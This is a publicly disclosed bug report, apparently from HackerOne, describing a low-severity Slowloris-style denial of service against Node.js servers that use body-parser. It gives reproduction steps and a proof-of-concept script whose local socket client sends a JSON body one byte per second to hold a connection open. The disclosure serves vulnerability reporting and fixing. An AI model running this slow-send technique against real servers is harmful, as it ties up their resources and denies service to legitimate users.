HexBrain

Node.js · Report #799072

Slowloris, body parsing

Validstatus
lowseverity
$250bounty
8upvotes
17 Oct 2020disclosed

How it was found

Summary: [add summary of the vulnerability] Attackers can cause a Denial of Service by sending HTTP request body data extremely slowly to keep a connection open by maintaining activity, and use resources over an extended period.

Description: [add more details about this vulnerability] Body data is sent one byte at a time, slowly, in a HTTP request. The connection stays open, hogging resources. There is no builtin feature that can make this trigger a timeout, as long as the bytes are sent at an interval lower than the server.timeout value if it is set. May not technically be a Node.js bug since it doesn't handle parsing of the body, but the typically body parsing library (e.g. https://www.npmjs.com/package/body-parser) does not implement any feature to mitigate the vulnerability.

Steps To Reproduce:

(Add details for how we can reproduce the issue)

  1. Start a HTTP server and set the server timeout to 2 seconds.
  2. Add a library that parses the request body.
  3. Open a connection to the server.
  4. Send a HTTP header.
  5. Send the body, 1 byte per second.

Impact: [add why this issue matters]

See summary.

Supporting Material/References:

Code to reproduce

const bodyParser = require('body-parser');
const express = require('express');
const net = require('net');
const http = require('http');

async function run() {
    const expressApp = express();

    expressApp.use(bodyParser.json());

    expressApp.use(async (req, res) => {
        res.send({body: req.body});
    });

    const server = http.createServer(expressApp);

    setInterval(() => {
        console.log(server.connections);
    },  1000);

    server.keepAliveTimeout = 2000;
    server.timeout = 2000;

    await new Promise(resolve => {
        server.listen(3000, '127.0.0.1', () => {
            resolve();
        });
    });

    const client = new net.Socket();

    const length = 5000;

    const msg = `GET / HTTP/1.1
Host: localhost:3000
Accept: */*
Content-Type: application/json
Content-Length: ${length}

["`;

    client.connect(3000, '127.0.0.1', async function () {
        client.write(msg);

        for (let i = 0; i < length - 4; i++) {
            await new Promise(resolve => {
                setTimeout(resolve, 1000);
            });

            client.write('' + (i % 10));
        }

        client.write('"]');
    });
}

run();

Impact

Attackers can cause a Denial of Service by sending HTTP request body data extremely slowly to keep a connection open and use resources over an extended period.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original